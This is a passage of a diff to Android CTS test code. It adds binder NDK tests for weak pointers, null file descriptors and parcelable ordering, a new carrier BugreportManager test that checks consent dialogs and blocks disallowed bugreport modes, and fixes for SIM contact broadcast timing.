+ // doesn't need to be promotable to remember ordering
+ AIBinder_decStrong(binder);
+
+ // they are different objects
+ EXPECT_NE(weak1, weak2);
+
+ // they point to the same binder
+ EXPECT_FALSE(AIBinder_Weak_lt(weak1, weak2));
+ EXPECT_FALSE(AIBinder_Weak_lt(weak2, weak1));
+
+ AIBinder_Weak_delete(weak1);
+ AIBinder_Weak_delete(weak2);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerNotEqual) {
+ AIBinder* b1 = SampleData::newBinder();
+ AIBinder_Weak* w1 = AIBinder_Weak_new(b1);
+ AIBinder* b2 = SampleData::newBinder();
+ AIBinder_Weak* w2 = AIBinder_Weak_new(b2);
+
+ bool b1ltb2 = AIBinder_lt(b1, b2);
+
+ // doesn't need to be promotable to remember ordering
+ AIBinder_decStrong(b2);
+ AIBinder_decStrong(b1);
+
+ EXPECT_EQ(b1ltb2, AIBinder_Weak_lt(w1, w2));
+ EXPECT_EQ(!b1ltb2, AIBinder_Weak_lt(w2, w1));
+
+ AIBinder_Weak_delete(w1);
+ AIBinder_Weak_delete(w2);
}
TEST_F(NdkBinderTest_AIBinder, LocalIsLocal) {
@@ -368,6 +454,13 @@
EXPECT_EQ(nullptr, AIBinder_DeathRecipient_new(nullptr));
+ EXPECT_EQ(nullptr, AIBinder_Weak_clone(nullptr));
+
+ AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+ EXPECT_TRUE(AIBinder_Weak_lt(nullptr, weak));
+ EXPECT_FALSE(AIBinder_Weak_lt(weak, nullptr));
+ AIBinder_Weak_delete(weak);
+
// Does not crash
AIBinder_DeathRecipient_delete(nullptr);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
index e346e2b..9d57674 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -414,6 +414,25 @@
TEST_P(NdkBinderTest_Aidl, RepeatFd) { checkFdRepeat(iface, &ITest::RepeatFd); }
+TEST_P(NdkBinderTest_Aidl, RepeatFdNull) {
+ ScopedFileDescriptor fd;
+ // FD is different from most types because the standard type used to represent
+ // it can also contain a null value (this is why many other types don't have
+ // 'null' tests for the non-@nullable Repeat* functions).
+ //
+ // Even worse, these are default initialized to this value, so it's a pretty
+ // common error:
+ EXPECT_EQ(fd.get(), -1);
+ ScopedFileDescriptor out;
+
+ if (shouldBeWrapped) {
+ ASSERT_EQ(STATUS_UNEXPECTED_NULL, AStatus_getStatus(iface->RepeatFd(fd, &out).get()));
+ } else {
+ // another in/out-process difference
+ ASSERT_OK(iface->RepeatFd(fd, &out));
+ }
+}
+
TEST_P(NdkBinderTest_Aidl, RepeatNullableFd) {
checkFdRepeat(iface, &ITest::RepeatNullableFd);
@@ -455,6 +474,27 @@
EXPECT_EQ("say what?", *res);
}
+TEST_P(NdkBinderTest_Aidl, ParcelableOrder) {
+ RegularPolygon p1 = {"A", 1, 1.0f};
+
+ // tests on self
+ EXPECT_EQ(p1, p1);
+ EXPECT_LE(p1, p1);
+ EXPECT_GE(p1, p1);
+ EXPECT_FALSE(p1 < p1);
+ EXPECT_FALSE(p1 > p1);
+
+ RegularPolygon p2 = {"A", 2, 1.0f};
+ RegularPolygon p3 = {"B", 1, 1.0f};
+ for (const auto& bigger : {p2, p3}) {
+ EXPECT_FALSE(p1 == bigger);
+ EXPECT_LE(p1, bigger);
+ EXPECT_GE(bigger, p1);
+ EXPECT_LT(p1, bigger);
+ EXPECT_GT(bigger, p1);
+ }
+}
+
TEST_P(NdkBinderTest_Aidl, ParcelableDefaults) {
RegularPolygon polygon;
@@ -530,28 +570,6 @@
EXPECT_EQ(15, retF);
}
-namespace aidl {
-namespace test_package {
-bool operator==(const SimpleUnion& lhs, const SimpleUnion& rhs) {
- if (lhs.getTag() != rhs.getTag()) return false;
- switch (lhs.getTag()) {
- case SimpleUnion::a:
- return lhs.get<SimpleUnion::a>() == rhs.get<SimpleUnion::a>();
- case SimpleUnion::b:
- return lhs.get<SimpleUnion::b>() == rhs.get<SimpleUnion::b>();
- case SimpleUnion::c:
- return lhs.get<SimpleUnion::c>() == rhs.get<SimpleUnion::c>();
- case SimpleUnion::d:
- return lhs.get<SimpleUnion::d>() == rhs.get<SimpleUnion::d>();
- case SimpleUnion::e:
- return lhs.get<SimpleUnion::e>() == rhs.get<SimpleUnion::e>();
- case SimpleUnion::f:
- return lhs.get<SimpleUnion::f>() == rhs.get<SimpleUnion::f>();
- }
-}
-} // namespace test_package
-} // namespace aidl
-
TEST_P(NdkBinderTest_Aidl, RepeatFoo) {
Foo foo;
foo.a = "NEW FOO";
@@ -606,22 +624,6 @@
using RepeatMethod = ScopedAStatus (ITest::*)(const std::vector<T>&,
std::vector<T>*, std::vector<T>*);
-namespace aidl {
-namespace test_package {
-inline bool operator==(const RegularPolygon& lhs, const RegularPolygon& rhs) {
- return lhs.name == rhs.name && lhs.numSides == rhs.numSides && lhs.sideLength == rhs.sideLength;
-}
-inline bool operator==(const std::vector<RegularPolygon>& lhs,
- const std::vector<RegularPolygon>& rhs) {
- if (lhs.size() != rhs.size()) return false;
- for (size_t i = 0; i < lhs.size(); i++) {
- if (!(lhs[i] == rhs[i])) return false;
- }
- return true;
-}
-} // namespace test_package
-} // namespace aidl
-
template <typename T>
void testRepeat(const std::shared_ptr<ITest>& i, RepeatMethod<T> repeatMethod,
std::vector<std::vector<T>> tests) {
@@ -964,7 +966,8 @@
myext1.a = 42;
myext1.b = "mystr";
ep.ext.setParcelable(myext1);
- std::unique_ptr<MyExt> myext2 = ep.ext.getParcelable<MyExt>();
+ std::optional<MyExt> myext2;
+ ep.ext.getParcelable(&myext2);
EXPECT_TRUE(myext2);
EXPECT_EQ(42, myext2->a);
EXPECT_EQ("mystr", myext2->b);
@@ -974,7 +977,8 @@
AParcel_setDataPosition(parcel, 0);
ExtendableParcelable ep2;
ep2.readFromParcel(parcel);
- std::unique_ptr<MyExt> myext3 = ep2.ext.getParcelable<MyExt>();
+ std::optional<MyExt> myext3;
+ ep2.ext.getParcelable(&myext3);
EXPECT_TRUE(myext3);
EXPECT_EQ(42, myext3->a);
EXPECT_EQ("mystr", myext3->b);
@@ -990,7 +994,8 @@
ExtendableParcelable ep2;
EXPECT_OK(iface->RepeatExtendableParcelable(ep, &ep2));
- std::unique_ptr<MyExt> myext2 = ep2.ext.getParcelable<MyExt>();
+ std::optional<MyExt> myext2;
+ ep2.ext.getParcelable(&myext2);
EXPECT_EQ(42L, ep2.c);
EXPECT_TRUE(myext2);
EXPECT_EQ(42, myext2->a);
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
index 2d57d82..d380647 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
@@ -108,9 +108,19 @@
}
@Test
- public void testTrivial() throws RemoteException {
+ public void testVoidReturn() throws RemoteException {
mInterface.TestVoidReturn();
- mInterface.TestOneway();
+ }
+
+ @Test
+ public void testOneway() throws RemoteException {
+ boolean isLocalJava = !mShouldBeRemote && mExpectedName == "JAVA";
+ try {
+ mInterface.TestOneway();
+ assertFalse("local Java should throw exception", isLocalJava);
+ } catch (RemoteException e) {
+ assertTrue("only local Java should report error", isLocalJava);
+ }
}
private void checkDump(String expected, String[] args) throws RemoteException, IOException {
@@ -225,6 +235,18 @@
}
@Test
+ public void testRepeatFdNull() throws RemoteException {
+ boolean isNativeRemote = mInterface.GetName().equals("CPP");
+
+ try {
+ mInterface.RepeatFd(null);
+ assertFalse("Native shouldn't accept null here", isNativeRemote);
+ } catch (java.lang.NullPointerException e) {
+ assertTrue("Java should accept null here", isNativeRemote);
+ }
+ }
+
+ @Test
public void testRepeatNullableFd() throws RemoteException, IOException {
checkFdRepeated((fd) -> mInterface.RepeatNullableFd(fd));
assertEquals(null, mInterface.RepeatNullableFd(null));
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
index d16e8a7..04f0b3e 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
@@ -53,7 +53,9 @@
public void TestVoidReturn() {}
@Override
- public void TestOneway() {}
+ public void TestOneway() throws RemoteException {
+ throw new RemoteException("Oneway call errors should be ignored");
+ }
@Override
public int GiveMeMyCallingPid() {
diff --git a/tests/tests/carrierapi/Android.bp b/tests/tests/carrierapi/Android.bp
index 0eac60e..6a191eae 100644
--- a/tests/tests/carrierapi/Android.bp
+++ b/tests/tests/carrierapi/Android.bp
@@ -16,9 +16,11 @@
name: "CtsCarrierApiTestCases",
defaults: ["cts_defaults"],
static_libs: [
+ "androidx.test.uiautomator_uiautomator",
"ctstestrunner-axt",
"compatibility-device-util-axt",
"junit",
+ "truth-prebuilt",
],
srcs: ["src/**/*.java"],
sdk_version: "test_current",
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
new file mode 100644
index 0000000..f1a5267
--- /dev/null
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
@@ -0,0 +1,463 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.carrierapi.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.BugreportManager;
+import android.os.BugreportManager.BugreportCallback;
+import android.os.BugreportParams;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Unit tests for {@link BugreportManager}'s carrier functionality, specifically "connectivity"
+ * bugreports.
+ *
+ * <p>Structure is largely adapted from
+ * frameworks/base/core/tests/bugreports/.../BugreportManagerTest.java.
+ *
+ * <p>Test using `atest CtsCarrierApiTestCases:BugreportManagerTest` or `make cts -j64 &&
+ * cts-tradefed run cts -m CtsCarrierApiTestCases --test
+ * android.carrierapi.cts.BugreportManagerTest`
+ */
+@RunWith(AndroidJUnit4.class)
+public class BugreportManagerTest {
+ private static final String TAG = "BugreportManagerTest";
+
+ private static final long BUGREPORT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(10);
+ private static final long UIAUTOMATOR_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(10);
+ // This value is defined in dumpstate.cpp:TELEPHONY_REPORT_USER_CONSENT_TIMEOUT_MS. Because the
+ // consent dialog is so large and important, the user *must* be given at least 2 minutes to read
+ // it before it times out.
+ private static final long MINIMUM_CONSENT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(2);
+
+ private static final BySelector CONSENT_DIALOG_TITLE_SELECTOR = By.res("android", "alertTitle");
+
+ @Rule public TestName name = new TestName();
+
+ private TelephonyManager mTelephonyManager;
+ private BugreportManager mBugreportManager;
+ private File mBugreportFile;
+ private ParcelFileDescriptor mBugreportFd;
+ private File mScreenshotFile;
+ private ParcelFileDescriptor mScreenshotFd;
+
+ @Before
+ public void setUp() throws Exception {
+ Context context = InstrumentationRegistry.getContext();
+ // Bail out if no cellular support.
+ assumeTrue(
+ "No cellular support, CarrierAPI.BugreportManagerTest cases will be skipped",
+ context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+ // Fail the test if we don't have carrier privileges.
+ mTelephonyManager = context.getSystemService(TelephonyManager.class);
+ assertWithMessage(
+ "This test requires a SIM card with carrier privilege rules on it.\n"
+ + "Visit https://source.android.com/devices/tech/config/uicc.html")
+ .that(mTelephonyManager.hasCarrierPrivileges())
+ .isTrue();
+ mBugreportManager = context.getSystemService(BugreportManager.class);
+
+ mBugreportFile = createTempFile("bugreport_" + name.getMethodName(), ".zip");
+ mBugreportFd = parcelFd(mBugreportFile);
+ // Should never be written for anything a carrier app can trigger; several tests assert that
+ // this file has no content.
+ mScreenshotFile = createTempFile("screenshot_" + name.getMethodName(), ".png");
+ mScreenshotFd = parcelFd(mScreenshotFile);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ FileUtils.closeQuietly(mBugreportFd);
+ FileUtils.closeQuietly(mScreenshotFd);
+ }
+
+ @Test
+ public void startConnectivityBugreport() throws Exception {
+ BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+ mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+ setConsentDialogReply(ConsentReply.ALLOW);
+ waitUntilDoneOrTimeout(callback);
+
+ assertThat(callback.isSuccess()).isTrue();
+ assertThat(callback.hasReceivedProgress()).isTrue();
+ assertThat(mBugreportFile.length()).isGreaterThan(0L);
+ assertFdIsClosed(mBugreportFd);
+ }
+
+ @Test
+ public void startConnectivityBugreport_consentDenied() throws Exception {
+ BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+ mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+ setConsentDialogReply(ConsentReply.DENY);
+ waitUntilDoneOrTimeout(callback);
+
+ assertThat(callback.getErrorCode())
+ .isEqualTo(BugreportCallback.BUGREPORT_ERROR_USER_DENIED_CONSENT);
+ assertThat(callback.hasReceivedProgress()).isTrue();
+ assertThat(mBugreportFile.length()).isEqualTo(0L);
+ assertFdIsClosed(mBugreportFd);
+ }
+
+ @Test
+ public void startConnectivityBugreport_consentTimeout() throws Exception {
+ BugreportCallbackImpl callback = new BugreportCallbackImpl();
+ long startTimeMillis = System.currentTimeMillis();
+
+ mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+ setConsentDialogReply(ConsentReply.NONE_TIMEOUT);
+ waitUntilDoneOrTimeout(callback);
+
+ assertThat(callback.getErrorCode())
+ .isEqualTo(BugreportCallback.BUGREPORT_ERROR_USER_CONSENT_TIMED_OUT);
+ assertThat(callback.hasReceivedProgress()).isTrue();
+ assertThat(mBugreportFile.length()).isEqualTo(0L);
+ assertFdIsClosed(mBugreportFd);
+ // Ensure the dialog was displaying long enough.
+ assertThat(System.currentTimeMillis() - startTimeMillis)
+ .isAtLeast(MINIMUM_CONSENT_TIMEOUT_MILLIS);
+ // The dialog may still be displaying, dismiss it if so.
+ dismissConsentDialogIfPresent();
+ }
+
+ @Test
+ public void simultaneousBugreportsNotAllowed() throws Exception {
+ BugreportCallbackImpl callback1 = new BugreportCallbackImpl();
+ BugreportCallbackImpl callback2 = new BugreportCallbackImpl();
+ File bugreportFile2 = createTempFile("bugreport_2_" + name.getMethodName(), ".zip");
+ ParcelFileDescriptor bugreportFd2 = parcelFd(bugreportFile2);
+
+ // Start the first report, but don't accept the consent dialog or wait for the callback to
+ // complete yet.
+ mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback1);
+
+ // Attempting to start a second report immediately gets us a concurrency error.
+ mBugreportManager.startConnectivityBugreport(bugreportFd2, Runnable::run, callback2);
+ assertThat(callback2.getErrorCode())
+ .isEqualTo(BugreportCallback.BUGREPORT_ERROR_ANOTHER_REPORT_IN_PROGRESS);
+
+ // Now wait for the first report to complete normally.
+ setConsentDialogReply(ConsentReply.ALLOW);
+ waitUntilDoneOrTimeout(callback1);
+
+ assertThat(callback1.isSuccess()).isTrue();
+ assertThat(callback1.hasReceivedProgress()).isTrue();
+ assertThat(mBugreportFile.length()).isGreaterThan(0L);
+ assertFdIsClosed(mBugreportFd);
+ // The second report never got any details filled in.
+ assertThat(callback2.hasReceivedProgress()).isFalse();
+ assertThat(bugreportFile2.length()).isEqualTo(0L);
+ assertFdIsClosed(bugreportFd2);
+ }
+
+ @Test
+ public void cancelBugreport() throws Exception {
+ BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+ // Start the report, but don't accept the consent dialog or wait for the callback to
+ // complete yet.
+ mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+
+ assertThat(callback.isDone()).isFalse();
+
+ // Cancel and wait for the final result.
+ mBugreportManager.cancelBugreport();
+ waitUntilDoneOrTimeout(callback);
+
+ assertThat(callback.getErrorCode()).isEqualTo(BugreportCallback.BUGREPORT_ERROR_RUNTIME);
+ assertThat(mBugreportFile.length()).isEqualTo(0L);
+ assertFdIsClosed(mBugreportFd);
+ }
+
+ @Test
+ public void startBugreport_connectivityBugreport() throws Exception {
+ BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+ // Carrier apps that compile with the system SDK have visibility to use this API, so we need
+ // to enforce that the additional parameters can't be abused to e.g. surreptitiously capture
+ // screenshots.
+ mBugreportManager.startBugreport(
+ mBugreportFd,
+ mScreenshotFd,
+ new BugreportParams(BugreportParams.BUGREPORT_MODE_TELEPHONY),
+ Runnable::run,
+ callback);
+ setConsentDialogReply(ConsentReply.ALLOW);
+ waitUntilDoneOrTimeout(callback);
+
+ assertThat(callback.isSuccess()).isTrue();
+ assertThat(callback.hasReceivedProgress()).isTrue();
+ assertThat(mBugreportFile.length()).isGreaterThan(0L);
+ assertFdIsClosed(mBugreportFd);
+ // Screenshots are never captured for connectivity bugreports, even if an FD is passed in.
+ assertThat(mScreenshotFile.length()).isEqualTo(0L);
+ assertFdIsClosed(mScreenshotFd);
+ }
+
+ @Test
+ public void startBugreport_fullBugreport() throws Exception {
+ assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_FULL);
+ }
+
+ @Test
+ public void startBugreport_interactiveBugreport() throws Exception {
+ assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_INTERACTIVE);
+ }
+
+ @Test
+ public void startBugreport_remoteBugreport() throws Exception {
+ assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_REMOTE);
+ }
+
+ @Test
+ public void startBugreport_wearBugreport() throws Exception {
+ assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_WEAR);
+ }
+
+ @Test
+ public void startBugreport_wifiBugreport() throws Exception {
+ assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_WIFI);
+ }
+
+ @Test
+ public void startBugreport_defaultBugreport() throws Exception {
+ // BUGREPORT_MODE_DEFAULT (6) is defined by the AIDL, but isn't accepted by
+ // BugreportManagerServiceImpl or exposed in BugreportParams.
+ assertExceptionThrownForMode(6, IllegalArgumentException.class);
+ }
+
+ @Test
+ public void startBugreport_negativeMode() throws Exception {
+ assertExceptionThrownForMode(-1, IllegalArgumentException.class);
+ }
+
+ @Test
+ public void startBugreport_invalidMode() throws Exception {
+ // Current max is BUGREPORT_MODE_DEFAULT (6) as defined by the AIDL.
+ assertExceptionThrownForMode(7, IllegalArgumentException.class);
+ }
+
+ /* Implementatiion of {@link BugreportCallback} that offers wrappers around execution result */
+ private static final class BugreportCallbackImpl extends BugreportCallback {
+ private int mErrorCode = -1;
+ private boolean mSuccess = false;
+ private boolean mReceivedProgress = false;
+ private boolean mEarlyReportFinished = false;
+ private final Object mLock = new Object();
+
+ @Override
+ public synchronized void onProgress(float progress) {
+ mReceivedProgress = true;
+ }
+
+ @Override
+ public synchronized void onError(int errorCode) {
+ Log.d(TAG, "Bugreport errored");
+ mErrorCode = errorCode;
+ }
+
+ @Override
+ public synchronized void onFinished() {
+ Log.d(TAG, "Bugreport finished");
+ mSuccess = true;
+ }
+
+ @Override
+ public synchronized void onEarlyReportFinished() {
+ mEarlyReportFinished = true;
+ }
+
+ /* Indicates completion; and ended up with a success or error. */
+ public synchronized boolean isDone() {
+ return (mErrorCode != -1) || mSuccess;
+ }
+
+ public synchronized int getErrorCode() {
+ return mErrorCode;
+ }
+
+ public synchronized boolean isSuccess() {
+ return mSuccess;
+ }
+
+ public synchronized boolean hasReceivedProgress() {
+ return mReceivedProgress;
+ }
+
+ public synchronized boolean hasEarlyReportFinished() {
+ return mEarlyReportFinished;
+ }
+ }
+
+ /** Allow/deny the consent dialog to sharing bugreport data, or just check existence. */
+ private enum ConsentReply {
+ // Touch the positive button.
+ ALLOW,
+ // Touch the negative button.
+ DENY,
+ // Just verify that the dialog has appeared, but make no touches.
+ NONE_TIMEOUT,
+ }
+
+ private void setConsentDialogReply(ConsentReply consentReply) throws Exception {
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+ // No need to wake + dismiss keyguard here; CTS respects our DISABLE_KEYGUARD permission.
+ if (!device.wait(
+ Until.hasObject(CONSENT_DIALOG_TITLE_SELECTOR), UIAUTOMATOR_TIMEOUT_MILLIS)) {
+ fail("The consent dialog can't be found");
+ }
+
+ final BySelector replySelector;
+ switch (consentReply) {
+ case ALLOW:
+ Log.d(TAG, "Allow the consent dialog");
+ replySelector = By.res("android", "button1");
+ break;
+ case DENY:
+ Log.d(TAG, "Deny the consent dialog");
+ replySelector = By.res("android", "button2");
+ break;
+ case NONE_TIMEOUT:
+ default:
+ // Not making a choice, just leave the dialog up now that we know it exists. It will
+ // eventually time out, but we don't wait for that here.
+ return;
+ }
+ UiObject2 replyButton = device.findObject(replySelector);
+ assertWithMessage("The button of consent dialog is not found")
+ .that(replyButton)
+ .isNotNull();
+ replyButton.click();
+
+ assertThat(
+ device.wait(
+ Until.gone(CONSENT_DIALOG_TITLE_SELECTOR),
+ UIAUTOMATOR_TIMEOUT_MILLIS))
+ .isTrue();
+ }
+
+ private void dismissConsentDialogIfPresent() throws Exception {
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+ if (!device.hasObject(CONSENT_DIALOG_TITLE_SELECTOR)) {
+ return;
+ }
+
+ Log.d(
+ TAG,
+ "Consent dialog still present on the screen even though report finished,"
+ + " dismissing it");
+ device.pressBack();
+ assertThat(
+ device.wait(
+ Until.gone(CONSENT_DIALOG_TITLE_SELECTOR),
+ UIAUTOMATOR_TIMEOUT_MILLIS))
+ .isTrue();
+ }
+
+ private static void waitUntilDoneOrTimeout(BugreportCallbackImpl callback) throws Exception {
+ long startTimeMillis = System.currentTimeMillis();
+ while (!callback.isDone()) {
+ Thread.sleep(1000);
+ if (System.currentTimeMillis() - startTimeMillis >= BUGREPORT_TIMEOUT_MILLIS) {
+ Log.w(TAG, "Timed out waiting for bugreport completion");
+ break;
+ }
+ Log.d(TAG, "Waited " + (System.currentTimeMillis() - startTimeMillis + "ms"));
+ }
+ }
+
+ private void assertSecurityExceptionThrownForMode(int mode) {
+ assertExceptionThrownForMode(mode, SecurityException.class);
+ }
+
+ private <T extends Throwable> void assertExceptionThrownForMode(
+ int mode, Class<T> exceptionType) {
+ BugreportCallbackImpl callback = new BugreportCallbackImpl();
+ try {
+ mBugreportManager.startBugreport(
+ mBugreportFd,
+ mScreenshotFd,
+ new BugreportParams(mode),
+ Runnable::run,
+ callback);
+ fail("BugreportMode " + mode + " should cause " + exceptionType.getSimpleName());
+ } catch (Throwable thrown) {
+ if (!exceptionType.isInstance(thrown)) {
+ throw thrown;
+ }
+ }
+
+ assertThat(callback.isDone()).isFalse();
+ assertThat(callback.hasReceivedProgress()).isFalse();
+ assertThat(mBugreportFile.length()).isEqualTo(0L);
+ assertFdIsClosed(mBugreportFd);
+ assertThat(mScreenshotFile.length()).isEqualTo(0L);
+ assertFdIsClosed(mScreenshotFd);
+ }
+
+ private static File createTempFile(String prefix, String extension) throws Exception {
+ File f = File.createTempFile(prefix, extension);
+ f.setReadable(true, true);
+ f.setWritable(true, true);
+ f.deleteOnExit();
+ return f;
+ }
+
+ private static ParcelFileDescriptor parcelFd(File file) throws Exception {
+ return ParcelFileDescriptor.open(
+ file, ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_APPEND);
+ }
+
+ private static void assertFdIsClosed(ParcelFileDescriptor pfd) {
+ try {
+ int fd = pfd.getFd();
+ fail("Expected ParcelFileDescriptor argument to be closed, but got: " + fd);
+ } catch (IllegalStateException expected) {
+ }
+ }
+}
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java
index 9c36028..3b1d025 100644
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java
@@ -23,18 +23,23 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.os.SystemClock;
import android.provider.ContactsContract.SimAccount;
import android.provider.ContactsContract.SimContacts;
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.MediumTest;
import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.TestUtils;
import java.util.ArrayList;
+import java.util.Collections;
import java.util.List;
@MediumTest
public class ContactsContract_SimContactTest extends AndroidTestCase {
+ private static final int ASYNC_TIMEOUT_LIMIT_SEC = 60;
+
// Using unique account name and types because these tests may break or be broken by
// other tests running. No other tests should use the following accounts.
private static final String SIM_ACCT_NAME_1 = "test sim acct name 1";
@@ -47,7 +52,7 @@
private ContentResolver mResolver;
private List<Intent> mReceivedIntents;
- private BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
+ private final BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
mReceivedIntents.add(intent);
@@ -58,7 +63,7 @@
protected void setUp() throws Exception {
super.setUp();
mResolver = getContext().getContentResolver();
- mReceivedIntents = new ArrayList<>();
+ mReceivedIntents = Collections.synchronizedList(new ArrayList<>());
}
@Override
@@ -106,7 +111,7 @@
* When a SIM account is added, {@link SimContacts#ACTION_SIM_ACCOUNTS_CHANGED} should be
* broadcast.
*/
- public void testAddSimAccount_broadcastsChange() {
+ public void testAddSimAccount_broadcastsChange() throws Exception {
getContext().registerReceiver(mBroadcastReceiver,
new IntentFilter(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED));
@@ -115,7 +120,8 @@
SimAccount.ADN_EF_TYPE);
});
- assertThat(mReceivedIntents).hasSize(1);
+ TestUtils.waitUntil("Broadcast has not been received in time", ASYNC_TIMEOUT_LIMIT_SEC,
+ () -> mReceivedIntents.size() == 1);
Intent receivedIntent = mReceivedIntents.get(0);
assertThat(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED).isEqualTo(receivedIntent.getAction());
}
@@ -124,7 +130,7 @@
* When a SIM account is removed, {@link SimContacts#ACTION_SIM_ACCOUNTS_CHANGED} should be
* broadcast.
*/
- public void testRemoveSimAccount_broadcastsChange() {
+ public void testRemoveSimAccount_broadcastsChange() throws Exception {
SystemUtil.runWithShellPermissionIdentity(() -> {
SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1, SIM_SLOT_0,
SimAccount.ADN_EF_TYPE);
@@ -136,7 +142,8 @@
SimContacts.removeSimAccounts(mResolver, SIM_SLOT_0);
});
- assertThat(mReceivedIntents).hasSize(1);
+ TestUtils.waitUntil("Broadcast has not been received in time", ASYNC_TIMEOUT_LIMIT_SEC,
+ () -> mReceivedIntents.size() == 1);
Intent receivedIntent = mReceivedIntents.get(0);
assertThat(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED).isEqualTo(receivedIntent.getAction());
}
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index 3083940..69dac6e 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -219,6 +219,12 @@
<uses-feature android:name="android.hardware.camera"/>
</feature-group>
+ <attribution android:tag="attribution_tag_one"
+ android:label="@string/attribution_label_one" />
+
+ <attribution android:tag="attribution_tag_two"
+ android:label="@string/attribution_label_two" />
+
<application android:label="Android TestCase"
android:icon="@drawable/size_48x48"
android:maxRecents="1"
diff --git a/tests/tests/content/res/values/strings.xml b/tests/tests/content/res/values/strings.xml
index 0d72c9f..b37d554 100644
--- a/tests/tests/content/res/values/strings.xml
+++ b/tests/tests/content/res/values/strings.xml
@@ -183,4 +183,7 @@
<string name="permdesc_callAbroad">Make calls abroad</string>
<string name="density_string">default</string>
+
+ <string name="attribution_label_one">attribution label one</string>
+ <string name="attribution_label_two">attribution label two</string>
</resources>
diff --git a/tests/tests/content/src/android/content/cts/IntentFilterTest.java b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
index 9888891..663cbfa 100644
--- a/tests/tests/content/src/android/content/cts/IntentFilterTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
@@ -21,9 +21,11 @@
